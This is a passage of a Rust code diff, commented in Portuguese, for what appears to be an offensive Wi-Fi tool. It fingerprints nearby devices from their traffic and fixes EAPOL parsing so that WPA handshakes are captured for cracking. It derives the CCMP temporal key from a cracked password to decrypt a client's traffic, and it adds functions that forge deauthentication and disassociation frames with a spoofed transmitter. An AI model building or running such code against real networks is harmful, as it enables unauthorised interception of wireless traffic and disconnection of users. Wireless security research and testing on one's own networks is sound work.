let key = parts.next().unwrap_or("").to_ascii_lowercase();
|
||||||
|
let value = parts.next().unwrap_or("");
|
||||||
|
match key.as_str() {
|
||||||
|
"model" | "md" => info.model = Some(value.to_string()),
|
||||||
|
"os" => info.os = Some(value.to_string()),
|
||||||
|
"device" | "product" => info.device = Some(value.to_string()),
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn parse_ssdp(data: &[u8], info: &mut PayloadInfo) {
|
||||||
|
let text = String::from_utf8_lossy(data);
|
||||||
|
for line in text.lines() {
|
||||||
|
let Some((key, value)) = line.split_once(':') else {
|
||||||
|
continue;
|
||||||
|
};
|
||||||
|
let key = key.trim().to_ascii_uppercase();
|
||||||
|
let value = value.trim();
|
||||||
|
match key.as_str() {
|
||||||
|
"SERVER" | "USER-AGENT" => {
|
||||||
|
if let Some(os) = os_from_text(value) {
|
||||||
|
info.os = Some(os);
|
||||||
|
}
|
||||||
|
if let Some(device) = device_from_text(value) {
|
||||||
|
info.device = Some(device);
|
||||||
|
}
|
||||||
|
if let Some(manufacturer) = manufacturer_from_text(value) {
|
||||||
|
info.manufacturer = Some(manufacturer);
|
||||||
|
}
|
||||||
|
info.model = info.model.take().or_else(|| {
|
||||||
|
value
|
||||||
|
.split_whitespace()
|
||||||
|
.find(|part| part.contains('/') && !part.contains("UPnP"))
|
||||||
|
.map(str::to_string)
|
||||||
|
});
|
||||||
|
}
|
||||||
|
"ST" | "NT" => {
|
||||||
|
let lower = value.to_ascii_lowercase();
|
||||||
|
if let Some(device) = device_from_service(&lower) {
|
||||||
|
info.device = Some(device);
|
||||||
|
}
|
||||||
|
info.service = info
|
||||||
|
.service
|
||||||
|
.take()
|
||||||
|
.or_else(|| Some(value.rsplit(':').next().unwrap_or(value).to_string()));
|
||||||
|
}
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn parse_http(data: &[u8], info: &mut PayloadInfo) {
|
||||||
|
let text = String::from_utf8_lossy(data);
|
||||||
|
if !(text.starts_with("GET ") || text.starts_with("POST ") || text.starts_with("HEAD ")) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
for line in text.lines().take(64) {
|
||||||
|
let Some((key, value)) = line.split_once(':') else {
|
||||||
|
continue;
|
||||||
|
};
|
||||||
|
let key = key.trim().to_ascii_lowercase();
|
||||||
|
let value = value.trim();
|
||||||
|
match key.as_str() {
|
||||||
|
"user-agent" | "server" => {
|
||||||
|
if let Some(os) = os_from_text(value) {
|
||||||
|
info.os = Some(os);
|
||||||
|
}
|
||||||
|
if let Some(device) = device_from_text(value) {
|
||||||
|
info.device = Some(device);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
"host" if info.hostname.is_none() => {
|
||||||
|
info.hostname = Some(value.split(':').next().unwrap_or(value).to_string());
|
||||||
|
}
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) fn os_from_text(text: &str) -> Option<String> {
|
||||||
|
let s = text.to_ascii_lowercase();
|
||||||
|
let os = if s.contains("windows nt 10") || s.contains("windows 10") || s.contains("windows 11")
|
||||||
|
{
|
||||||
|
"Windows 10/11"
|
||||||
|
} else if s.contains("windows") || s.contains("microsoft") {
|
||||||
|
"Windows"
|
||||||
|
} else if s.contains("ipados") || s.contains("ipad") {
|
||||||
|
"iPadOS"
|
||||||
|
} else if s.contains("iphone")
|
||||||
|
|| s.contains("ios")
|
||||||
|
|| s.contains("darwin") && s.contains("mobile")
|
||||||
|
{
|
||||||
|
"iOS"
|
||||||
|
} else if s.contains("mac os x") || s.contains("macintosh") || s.contains("macos") {
|
||||||
|
"macOS"
|
||||||
|
} else if s.contains("android") {
|
||||||
|
"Android"
|
||||||
|
} else if s.contains("cros") || s.contains("chromeos") {
|
||||||
|
"ChromeOS"
|
||||||
|
} else if s.contains("tizen") {
|
||||||
|
"Tizen"
|
||||||
|
} else if s.contains("webos") {
|
||||||
|
"webOS"
|
||||||
|
} else if s.contains("roku") {
|
||||||
|
"Roku OS"
|
||||||
|
} else if s.contains("linux")
|
||||||
|
|| s.contains("ubuntu")
|
||||||
|
|| s.contains("debian")
|
||||||
|
|| s.contains("raspbian")
|
||||||
|
{
|
||||||
|
"Linux"
|
||||||
|
} else {
|
||||||
|
return None;
|
||||||
|
};
|
||||||
|
Some(os.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) fn device_from_text(text: &str) -> Option<String> {
|
||||||
|
let s = text.to_ascii_lowercase();
|
||||||
|
let device = if s.contains("iphone")
|
||||||
|
|| s.contains("galaxy")
|
||||||
|
|| s.contains("pixel")
|
||||||
|
|| s.contains("redmi")
|
||||||
|
|| s.contains("smartphone")
|
||||||
|
|| s.contains("phone")
|
||||||
|
|| s.contains("moto ")
|
||||||
|
{
|
||||||
|
"smartphone"
|
||||||
|
} else if s.contains("ipad") || s.contains("tablet") {
|
||||||
|
"tablet"
|
||||||
|
} else if s.contains("macbook")
|
||||||
|
|| s.contains("thinkpad")
|
||||||
|
|| s.contains("laptop")
|
||||||
|
|| s.contains("notebook")
|
||||||
|
{
|
||||||
|
"laptop"
|
||||||
|
} else if s.contains("printer")
|
||||||
|
|| s.contains("laserjet")
|
||||||
|
|| s.contains("officejet")
|
||||||
|
|| s.contains("mfc-")
|
||||||
|
{
|
||||||
|
"impressora"
|
||||||
|
} else if s.contains("chromecast")
|
||||||
|
|| s.contains("appletv")
|
||||||
|
|| s.contains("fire tv")
|
||||||
|
|| s.contains("firetv")
|
||||||
|
|| s.contains("roku")
|
||||||
|
|| s.contains("smart tv")
|
||||||
|
|| s.contains("bravia")
|
||||||
|
|| s.contains("tv")
|
||||||
|
{
|
||||||
|
"TV/streaming"
|
||||||
|
} else if s.contains("camera") || s.contains("câmera") || s.contains("ipc") {
|
||||||
|
"câmera"
|
||||||
|
} else if s.contains("watch") {
|
||||||
|
"wearable"
|
||||||
|
} else if s.contains("echo")
|
||||||
|
|| s.contains("alexa")
|
||||||
|
|| s.contains("google home")
|
||||||
|
|| s.contains("nest")
|
||||||
|
{
|
||||||
|
"assistente"
|
||||||
|
} else if s.contains("raspberry") {
|
||||||
|
"SBC"
|
||||||
|
} else if s.contains("esp32")
|
||||||
|
|| s.contains("esp8266")
|
||||||
|
|| s.contains("shelly")
|
||||||
|
|| s.contains("sonoff")
|
||||||
|
|| s.contains("tuya")
|
||||||
|
{
|
||||||
|
"IoT"
|
||||||
|
} else if s.contains("desktop")
|
||||||
|
|| s.contains("laptop")
|
||||||
|
|| s.contains("windows")
|
||||||
|
|| s.contains("pc")
|
||||||
|
{
|
||||||
|
"computador"
|
||||||
|
} else {
|
||||||
|
return None;
|
||||||
|
};
|
||||||
|
Some(device.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
fn device_from_service(service: &str) -> Option<String> {
|
||||||
|
let s = service.to_ascii_lowercase();
|
||||||
|
let device = if s.contains("_airplay")
|
||||||
|
|| s.contains("_raop")
|
||||||
|
|| s.contains("_googlecast")
|
||||||
|
|| s.contains("_spotify-connect")
|
||||||
|
{
|
||||||
|
"TV/streaming"
|
||||||
|
} else if s.contains("_ipp") || s.contains("_printer") || s.contains("_pdl-datastream") {
|
||||||
|
"impressora"
|
||||||
|
} else if s.contains("_smb") || s.contains("_workstation") || s.contains("_device-info") {
|
||||||
|
"computador"
|
||||||
|
} else if s.contains("_homekit") || s.contains("_hap") {
|
||||||
|
"IoT"
|
||||||
|
} else if s.contains("_ssh") || s.contains("_sftp-ssh") {
|
||||||
|
"servidor"
|
||||||
|
} else {
|
||||||
|
return None;
|
||||||
|
};
|
||||||
|
Some(device.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
fn manufacturer_from_text(text: &str) -> Option<String> {
|
||||||
|
let s = text.to_ascii_lowercase();
|
||||||
|
let name = if s.contains("apple") {
|
||||||
|
"Apple"
|
||||||
|
} else if s.contains("samsung") {
|
||||||
|
"Samsung"
|
||||||
|
} else if s.contains("microsoft") || s.contains("windows") {
|
||||||
|
"Microsoft"
|
||||||
|
} else if s.contains("google") {
|
||||||
|
"Google"
|
||||||
|
} else if s.contains("sony") {
|
||||||
|
"Sony"
|
||||||
|
} else if s.contains("lg electronics") || s.starts_with("lg ") {
|
||||||
|
"LG"
|
||||||
|
} else if s.contains("roku") {
|
||||||
|
"Roku"
|
||||||
|
} else if s.contains("huawei") {
|
||||||
|
"Huawei"
|
||||||
|
} else if s.contains("xiaomi") {
|
||||||
|
"Xiaomi"
|
||||||
|
} else if s.contains("synology") {
|
||||||
|
"Synology"
|
||||||
|
} else if s.contains("raspberry") {
|
||||||
|
"Raspberry Pi"
|
||||||
|
} else {
|
||||||
|
return None;
|
||||||
|
};
|
||||||
|
Some(name.to_string())
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Mantido para chamadores antigos: há um EAPOL neste quadro?
|
/// Mantido para chamadores antigos: há um EAPOL neste quadro?
|
||||||
@@ -441,6 +1096,47 @@ fn classify(rsn_present: bool, wpa1_present: bool, privacy: bool, rsn: RsnInfo)
|
|||||||
Security::Open
|
Security::Open
|
||||||
}
|
}
|
||||||
|
|
||||||
|
fn add_phy(phy: &mut Vec<String>, value: &str) {
|
||||||
|
if !phy.iter().any(|p| p == value) {
|
||||||
|
phy.push(value.to_string());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Information Element de WPS (vendor 00:50:f2 tipo 4). O conteúdo começa
|
||||||
|
/// com a versão do protocolo e segue em atributos TLV de 16 bits.
|
||||||
|
fn parse_wps(val: &[u8], info: &mut ManagementInfo) {
|
||||||
|
if val.len() < 6 {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let version = u16::from_be_bytes([val[4], val[5]]);
|
||||||
|
info.wps_version = Some(match version {
|
||||||
|
0x10 => "1.0".into(),
|
||||||
|
0x11 => "2.0".into(),
|
||||||
|
other => format!("0x{other:04x}"),
|
||||||
|
});
|
||||||
|
let mut pos = 6usize;
|
||||||
|
while pos + 4 <= val.len() {
|
||||||
|
let attr = u16::from_be_bytes([val[pos], val[pos + 1]]);
|
||||||
|
let len = u16::from_be_bytes([val[pos + 2], val[pos + 3]]) as usize;
|
||||||
|
let start = pos + 4;
|
||||||
|
if start + len > val.len() {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
let data = &val[start..start + len];
|
||||||
|
let text = || String::from_utf8_lossy(data).trim().to_string();
|
||||||
|
match attr {
|
||||||
|
0x1011 => info.wps_device_name = Some(text()),
|
||||||
|
0x1021 => info.wps_manufacturer = Some(text()),
|
||||||
|
0x1023 => info.wps_model = Some(text()),
|
||||||
|
0x1024 => info.wps_model_number = Some(text()),
|
||||||
|
0x1042 => info.wps_serial = Some(text()),
|
||||||
|
0x1057 if len == 1 => info.wps_locked = Some(data[0] != 0),
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
pos = start + len;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
fn parse_rsn(val: &[u8]) -> Option<RsnInfo> {
|
fn parse_rsn(val: &[u8]) -> Option<RsnInfo> {
|
||||||
if val.len() < 8 {
|
if val.len() < 8 {
|
||||||
return None;
|
return None;
|
||||||
@@ -665,6 +1361,116 @@ mod tests {
|
|||||||
assert!(parsed.eapol().is_none());
|
assert!(parsed.eapol().is_none());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
fn data_with_ethertype(ethertype: u16, payload: &[u8]) -> Vec<u8> {
|
||||||
|
let mut f = Vec::new();
|
||||||
|
f.extend_from_slice(&0x0108u16.to_le_bytes()); // data, ToDS
|
||||||
|
f.extend_from_slice(&0u16.to_le_bytes());
|
||||||
|
f.extend_from_slice(&mac(0x11)); // addr1 = AP
|
||||||
|
f.extend_from_slice(&mac(0x22)); // addr2 = cliente
|
||||||
|
f.extend_from_slice(&mac(0x11)); // addr3 = AP
|
||||||
|
f.extend_from_slice(&[0u8; 2]);
|
||||||
|
f.extend_from_slice(&[0xAA, 0xAA, 0x03, 0, 0, 0]);
|
||||||
|
f.extend_from_slice(ðertype.to_be_bytes());
|
||||||
|
f.extend_from_slice(payload);
|
||||||
|
f
|
||||||
|
}
|
||||||
|
|
||||||
|
fn data_with_payload(payload: &[u8]) -> Vec<u8> {
|
||||||
|
data_with_ethertype(0x0800, payload)
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn extracts_ip_from_arp() {
|
||||||
|
let mut arp = Vec::new();
|
||||||
|
arp.extend_from_slice(&1u16.to_be_bytes());
|
||||||
|
arp.extend_from_slice(&0x0800u16.to_be_bytes());
|
||||||
|
arp.push(6);
|
||||||
|
arp.push(4);
|
||||||
|
arp.extend_from_slice(&1u16.to_be_bytes());
|
||||||
|
arp.extend_from_slice(&mac(0x22));
|
||||||
|
arp.extend_from_slice(&[192, 168, 1, 42]);
|
||||||
|
arp.extend_from_slice(&[0u8; 6]);
|
||||||
|
arp.extend_from_slice(&[192, 168, 1, 1]);
|
||||||
|
let frame = data_with_ethertype(0x0806, &arp);
|
||||||
|
let parsed = parse(&frame).expect("frame");
|
||||||
|
assert_eq!(parsed.payload_info().ip.as_deref(), Some("192.168.1.42"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn extracts_hostname_and_os_from_mdns() {
|
||||||
|
let mut dns = vec![0u8; 12];
|
||||||
|
dns[5] = 1; // qdcount
|
||||||
|
for label in ["Lucass-iPhone", "local"] {
|
||||||
|
dns.push(label.len() as u8);
|
||||||
|
dns.extend_from_slice(label.as_bytes());
|
||||||
|
}
|
||||||
|
dns.push(0);
|
||||||
|
dns.extend_from_slice(&1u16.to_be_bytes());
|
||||||
|
dns.extend_from_slice(&1u16.to_be_bytes());
|
||||||
|
|
||||||
|
let mut udp = Vec::new();
|
||||||
|
udp.extend_from_slice(&5353u16.to_be_bytes());
|
||||||
|
udp.extend_from_slice(&5353u16.to_be_bytes());
|
||||||
|
udp.extend_from_slice(&((8 + dns.len()) as u16).to_be_bytes());
|
||||||
|
udp.extend_from_slice(&[0u8; 2]);
|
||||||
|
udp.extend_from_slice(&dns);
|
||||||
|
|
||||||
|
let mut ip = vec![0x45, 0];
|
||||||
|
ip.extend_from_slice(&((20 + udp.len()) as u16).to_be_bytes());
|
||||||
|
ip.extend_from_slice(&[0u8; 5]);
|
||||||
|
ip.push(17);
|
||||||
|
ip.extend_from_slice(&[0u8; 2]);
|
||||||
|
ip.extend_from_slice(&[192, 168, 1, 7]);
|
||||||
|
ip.extend_from_slice(&[224, 0, 0, 251]);
|
||||||
|
ip.extend_from_slice(&udp);
|
||||||
|
|
||||||
|
let frame = data_with_payload(&ip);
|
||||||
|
let parsed = parse(&frame).expect("frame");
|
||||||
|
let info = parsed.payload_info();
|
||||||
|
assert_eq!(info.hostname.as_deref(), Some("Lucass-iPhone"));
|
||||||
|
assert_eq!(info.os.as_deref(), Some("iOS"));
|
||||||
|
assert_eq!(info.device.as_deref(), Some("smartphone"));
|
||||||
|
assert_eq!(info.ip.as_deref(), Some("192.168.1.7"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn extracts_hostname_and_requested_ip_from_dhcp() {
|
||||||
|
let mut bootp = vec![0u8; 240];
|
||||||
|
bootp[0] = 1;
|
||||||
|
bootp[236..240].copy_from_slice(&[0x63, 0x82, 0x53, 0x63]);
|
||||||
|
bootp.extend_from_slice(&[53, 1, 3]);
|
||||||
|
bootp.extend_from_slice(&[50, 4, 192, 168, 1, 50]);
|
||||||
|
bootp.extend_from_slice(&[12, 7]);
|
||||||
|
bootp.extend_from_slice(b"pixel-7");
|
||||||
|
bootp.extend_from_slice(&[60, 15]);
|
||||||
|
bootp.extend_from_slice(b"android-dhcp-13");
|
||||||
|
bootp.push(255);
|
||||||
|
|
||||||
|
let mut udp = Vec::new();
|
||||||
|
udp.extend_from_slice(&68u16.to_be_bytes());
|
||||||
|
udp.extend_from_slice(&67u16.to_be_bytes());
|
||||||
|
udp.extend_from_slice(&((8 + bootp.len()) as u16).to_be_bytes());
|
||||||
|
udp.extend_from_slice(&[0u8; 2]);
|
||||||
|
udp.extend_from_slice(&bootp);
|
||||||
|
|
||||||
|
let mut ip = vec![0x45, 0];
|
||||||
|
ip.extend_from_slice(&((20 + udp.len()) as u16).to_be_bytes());
|
||||||
|
ip.extend_from_slice(&[0u8; 5]);
|
||||||
|
ip.push(17);
|
||||||
|
ip.extend_from_slice(&[0u8; 2]);
|
||||||
|
ip.extend_from_slice(&[0, 0, 0, 0]);
|
||||||
|
ip.extend_from_slice(&[255, 255, 255, 255]);
|
||||||
|
ip.extend_from_slice(&udp);
|
||||||
|
|
||||||
|
let frame = data_with_payload(&ip);
|
||||||
|
let parsed = parse(&frame).expect("frame");
|
||||||
|
let info = parsed.payload_info();
|
||||||
|
assert_eq!(info.hostname.as_deref(), Some("pixel-7"));
|
||||||
|
assert_eq!(info.os.as_deref(), Some("Android"));
|
||||||
|
assert_eq!(info.device.as_deref(), Some("smartphone"));
|
||||||
|
assert_eq!(info.ip.as_deref(), Some("192.168.1.50"));
|
||||||
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn parses_mac_strings() {
|
fn parses_mac_strings() {
|
||||||
assert_eq!(
|
assert_eq!(
|
||||||
|
|||||||
@@ -55,7 +55,14 @@ pub fn parse(buf: &[u8]) -> Option<EapolKey> {
|
|||||||
if descriptor_type != 2 && descriptor_type != 254 {
|
if descriptor_type != 2 && descriptor_type != 254 {
|
||||||
return None;
|
return None;
|
||||||
}
|
}
|
||||||
let key_info = u16::from_le_bytes([frame[5], frame[6]]);
|
// Todo campo multi-byte do descritor EAPOL-Key (Key Information, Key
|
||||||
|
// Length, Replay Counter, Key Data Length) é big-endian — é 802.1X,
|
||||||
|
// segue a mesma ordem de rede do cabeçalho EAPOL em si. Ler como
|
||||||
|
// little-endian (bug anterior) embaralhava os bits de ack/mic/secure e
|
||||||
|
// fazia praticamente todo handshake real cair em message=0, descartado
|
||||||
|
// silenciosamente — só não aparecia nos testes porque o gerador de
|
||||||
|
// quadro sintético cometia o mesmo engano, simetricamente.
|
||||||
|
let key_info = u16::from_be_bytes([frame[5], frame[6]]);
|
||||||
let key_version = (key_info & 0x0007) as u8;
|
let key_version = (key_info & 0x0007) as u8;
|
||||||
let pairwise = key_info & KEY_INFO_PAIRWISE != 0;
|
let pairwise = key_info & KEY_INFO_PAIRWISE != 0;
|
||||||
let ack = key_info & KEY_INFO_ACK != 0;
|
let ack = key_info & KEY_INFO_ACK != 0;
|
||||||
@@ -75,12 +82,12 @@ pub fn parse(buf: &[u8]) -> Option<EapolKey> {
|
|||||||
0
|
0
|
||||||
};
|
};
|
||||||
|
|
||||||
let replay_counter = u64::from_le_bytes(frame[9..17].try_into().ok()?);
|
let replay_counter = u64::from_be_bytes(frame[9..17].try_into().ok()?);
|
||||||
let mut nonce = [0u8; 32];
|
let mut nonce = [0u8; 32];
|
||||||
nonce.copy_from_slice(&frame[17..49]);
|
nonce.copy_from_slice(&frame[17..49]);
|
||||||
let mut mic_bytes = [0u8; 16];
|
let mut mic_bytes = [0u8; 16];
|
||||||
mic_bytes.copy_from_slice(&frame[MIC_OFFSET..MIC_OFFSET + 16]);
|
mic_bytes.copy_from_slice(&frame[MIC_OFFSET..MIC_OFFSET + 16]);
|
||||||
let key_data_len = u16::from_le_bytes([frame[97], frame[98]]) as usize;
|
let key_data_len = u16::from_be_bytes([frame[97], frame[98]]) as usize;
|
||||||
let data_end = KEY_DATA_OFFSET.checked_add(key_data_len)?;
|
let data_end = KEY_DATA_OFFSET.checked_add(key_data_len)?;
|
||||||
if data_end > frame.len() {
|
if data_end > frame.len() {
|
||||||
return None;
|
return None;
|
||||||
@@ -144,14 +151,14 @@ mod tests {
|
|||||||
f[1] = EAPOL_TYPE_KEY;
|
f[1] = EAPOL_TYPE_KEY;
|
||||||
f[2..4].copy_from_slice(&((total - 4) as u16).to_be_bytes());
|
f[2..4].copy_from_slice(&((total - 4) as u16).to_be_bytes());
|
||||||
f[4] = 2; // RSN descriptor
|
f[4] = 2; // RSN descriptor
|
||||||
f[5..7].copy_from_slice(&key_info.to_le_bytes());
|
f[5..7].copy_from_slice(&key_info.to_be_bytes());
|
||||||
f[7..9].copy_from_slice(&16u16.to_le_bytes());
|
f[7..9].copy_from_slice(&16u16.to_be_bytes());
|
||||||
f[9..17].copy_from_slice(&1u64.to_le_bytes());
|
f[9..17].copy_from_slice(&1u64.to_be_bytes());
|
||||||
f[17..49].copy_from_slice(&nonce);
|
f[17..49].copy_from_slice(&nonce);
|
||||||
for (i, b) in f[MIC_OFFSET..MIC_OFFSET + 16].iter_mut().enumerate() {
|
for (i, b) in f[MIC_OFFSET..MIC_OFFSET + 16].iter_mut().enumerate() {
|
||||||
*b = i as u8;
|
*b = i as u8;
|
||||||
}
|
}
|
||||||
f[97..99].copy_from_slice(&(key_data.len() as u16).to_le_bytes());
|
f[97..99].copy_from_slice(&(key_data.len() as u16).to_be_bytes());
|
||||||
f[KEY_DATA_OFFSET..].copy_from_slice(key_data);
|
f[KEY_DATA_OFFSET..].copy_from_slice(key_data);
|
||||||
f
|
f
|
||||||
}
|
}
|
||||||
@@ -176,6 +183,32 @@ mod tests {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Byte a byte, independente do helper `key_frame` (que usa a mesma
|
||||||
|
/// codificação do parser): confere que um quadro Mensagem 1 real — key
|
||||||
|
/// info 0x008a (Ack=1, versão CCMP=2, pairwise), big-endian como é no
|
||||||
|
/// fio de verdade — é lido como message=1/key_version=2, não message=0.
|
||||||
|
/// É exatamente o valor citado pela documentação de ferramentas de
|
||||||
|
/// quebra de WPA pra mensagem 1 com CCMP.
|
||||||
|
#[test]
|
||||||
|
fn parses_real_wire_message1_key_info_as_big_endian() {
|
||||||
|
let mut frame = vec![0u8; MIN_KEY_FRAME_LEN];
|
||||||
|
frame[0] = 2; // versão EAPOL
|
||||||
|
frame[1] = EAPOL_TYPE_KEY;
|
||||||
|
frame[2..4].copy_from_slice(&((MIN_KEY_FRAME_LEN - 4) as u16).to_be_bytes());
|
||||||
|
frame[4] = 2; // descritor RSN
|
||||||
|
frame[5..7].copy_from_slice(&0x008au16.to_be_bytes()); // Ack=1, versão=2(CCMP), pairwise=1
|
||||||
|
frame[7..9].copy_from_slice(&16u16.to_be_bytes()); // key length
|
||||||
|
frame[9..17].copy_from_slice(&1u64.to_be_bytes()); // replay counter
|
||||||
|
frame[17..49].fill(0xaa); // nonce
|
||||||
|
frame[97..99].copy_from_slice(&0u16.to_be_bytes()); // sem key data
|
||||||
|
|
||||||
|
let parsed = parse(&frame).expect("mensagem 1 real deveria parsear");
|
||||||
|
assert_eq!(parsed.message, 1);
|
||||||
|
assert_eq!(parsed.key_version, 2);
|
||||||
|
assert!(parsed.pairwise);
|
||||||
|
assert_eq!(parsed.replay_counter, 1);
|
||||||
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn extracts_pmkid_from_key_data() {
|
fn extracts_pmkid_from_key_data() {
|
||||||
let mut data = vec![0xdd, 20, 0x00, 0x0f, 0xac, 0x04];
|
let mut data = vec![0xdd, 20, 0x00, 0x0f, 0xac, 0x04];
|
||||||
|
|||||||
@@ -33,6 +33,12 @@ pub struct Handshake {
|
|||||||
pub first_seen_unix: u64,
|
pub first_seen_unix: u64,
|
||||||
pub last_seen_unix: u64,
|
pub last_seen_unix: u64,
|
||||||
pub password: Option<String>,
|
pub password: Option<String>,
|
||||||
|
/// Temporal Key (CCMP/AES) derivada quando `password` é preenchido.
|
||||||
|
/// Só pra TKIP (key_version 1) fica None: a decriptação aqui só cobre
|
||||||
|
/// CCMP. Serve pra enxergar o tráfego em claro desse par (BSSID,
|
||||||
|
/// estação) específico — não abre o tráfego de outros clientes, já que
|
||||||
|
/// a PTK é efêmera por associação.
|
||||||
|
pub tk: Option<[u8; 16]>,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Debug, Clone, serde::Serialize)]
|
#[derive(Debug, Clone, serde::Serialize)]
|
||||||
@@ -244,9 +250,17 @@ impl HandshakeTracker {
|
|||||||
pub fn set_password(&mut self, bssid: &str, station: &str, password: &str) {
|
pub fn set_password(&mut self, bssid: &str, station: &str, password: &str) {
|
||||||
if let Some(hs) = self.get_mut(bssid, station) {
|
if let Some(hs) = self.get_mut(bssid, station) {
|
||||||
hs.password = Some(password.to_string());
|
hs.password = Some(password.to_string());
|
||||||
|
hs.tk = derive_tk(hs, password);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// TK já derivada pra esse par (BSSID, estação), se a senha da rede já
|
||||||
|
/// foi quebrada e o handshake tinha os dois nonces (EAPOL completo — um
|
||||||
|
/// handshake só de PMKID não dá pra derivar PTK/TK, só confirma a PSK).
|
||||||
|
pub fn tk_for(&self, bssid: &str, station: &str) -> Option<[u8; 16]> {
|
||||||
|
self.get(bssid, station).and_then(|hs| hs.tk)
|
||||||
|
}
|
||||||
|
|
||||||
pub fn len(&self) -> usize {
|
pub fn len(&self) -> usize {
|
||||||
self.map.len()
|
self.map.len()
|
||||||
}
|
}
|
||||||
@@ -256,6 +270,26 @@ impl HandshakeTracker {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Deriva a TK (bytes 32..48 da PTK) a partir da senha quebrada, pra poder
|
||||||
|
/// decifrar CCMP do tráfego desse cliente. Só funciona com EAPOL/CCMP
|
||||||
|
/// completo (key_version 2); PMKID sozinho não tem os dois nonces pra
|
||||||
|
/// derivar PTK, e TKIP (key_version 1) usa RC4 + Michael, não implementado.
|
||||||
|
fn derive_tk(hs: &Handshake, password: &str) -> Option<[u8; 16]> {
|
||||||
|
if hs.key_version != 2 {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let ssid = hs.ssid.as_deref().filter(|s| !s.is_empty())?;
|
||||||
|
let bssid = dot11::parse_mac(&hs.bssid)?;
|
||||||
|
let station = dot11::parse_mac(&hs.station)?;
|
||||||
|
let anonce = hs.anonce?;
|
||||||
|
let snonce = hs.snonce?;
|
||||||
|
let pmk = crate::crack::pmk_from_candidate(password, ssid.as_bytes())?;
|
||||||
|
let ptk = crate::crack::compute_ptk(&pmk, &bssid, &station, &anonce, &snonce);
|
||||||
|
let mut tk = [0u8; 16];
|
||||||
|
tk.copy_from_slice(&ptk[32..48]);
|
||||||
|
Some(tk)
|
||||||
|
}
|
||||||
|
|
||||||
fn apply_key(hs: &mut Handshake, key: &EapolKey) {
|
fn apply_key(hs: &mut Handshake, key: &EapolKey) {
|
||||||
match key.message {
|
match key.message {
|
||||||
1 => {
|
1 => {
|
||||||
|
|||||||
@@ -17,13 +17,26 @@ fn radiotap_min() -> [u8; 8] {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fn mgmt_frame(subtype: u8, bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
|
fn mgmt_frame(subtype: u8, bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
|
||||||
|
mgmt_frame_from(subtype, bssid, bssid, destination, reason)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Quadro de gerenciamento com transmissor explícito. Permite forjar tanto
|
||||||
|
/// AP→STA (`transmitter = BSSID`) quanto STA→AP (`transmitter = estação`),
|
||||||
|
/// usado no teste bidirecional de PMF.
|
||||||
|
fn mgmt_frame_from(
|
||||||
|
subtype: u8,
|
||||||
|
transmitter: [u8; 6],
|
||||||
|
bssid: [u8; 6],
|
||||||
|
destination: [u8; 6],
|
||||||
|
reason: u16,
|
||||||
|
) -> Vec<u8> {
|
||||||
let fc: u16 = (subtype as u16) << 4;
|
let fc: u16 = (subtype as u16) << 4;
|
||||||
let mut f = Vec::with_capacity(8 + 24 + 2);
|
let mut f = Vec::with_capacity(8 + 24 + 2);
|
||||||
f.extend_from_slice(&radiotap_min());
|
f.extend_from_slice(&radiotap_min());
|
||||||
f.extend_from_slice(&fc.to_le_bytes());
|
f.extend_from_slice(&fc.to_le_bytes());
|
||||||
f.extend_from_slice(&0u16.to_le_bytes());
|
f.extend_from_slice(&0u16.to_le_bytes());
|
||||||
f.extend_from_slice(&destination); // addr1: destino
|
f.extend_from_slice(&destination); // addr1: destino
|
||||||
f.extend_from_slice(&bssid); // addr2: BSSID/transmissor
|
f.extend_from_slice(&transmitter); // addr2: transmissor
|
||||||
f.extend_from_slice(&bssid); // addr3: BSSID
|
f.extend_from_slice(&bssid); // addr3: BSSID
|
||||||
f.extend_from_slice(&[0u8; 2]); // número de sequência
|
f.extend_from_slice(&[0u8; 2]); // número de sequência
|
||||||
f.extend_from_slice(&reason.to_le_bytes());
|
f.extend_from_slice(&reason.to_le_bytes());
|
||||||
@@ -36,11 +49,129 @@ pub fn deauth_frame(bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8
|
|||||||
mgmt_frame(12, bssid, destination, reason)
|
mgmt_frame(12, bssid, destination, reason)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Desautenticação forjada com transmissor arbitrário (STA→AP).
|
||||||
|
pub fn deauth_frame_from(
|
||||||
|
transmitter: [u8; 6],
|
||||||
|
bssid: [u8; 6],
|
||||||
|
destination: [u8; 6],
|
||||||
|
reason: u16,
|
||||||
|
) -> Vec<u8> {
|
||||||
|
mgmt_frame_from(12, transmitter, bssid, destination, reason)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Desassociação forjada com transmissor arbitrário (STA→AP).
|
||||||
|
pub fn disassoc_frame_from(
|
||||||
|
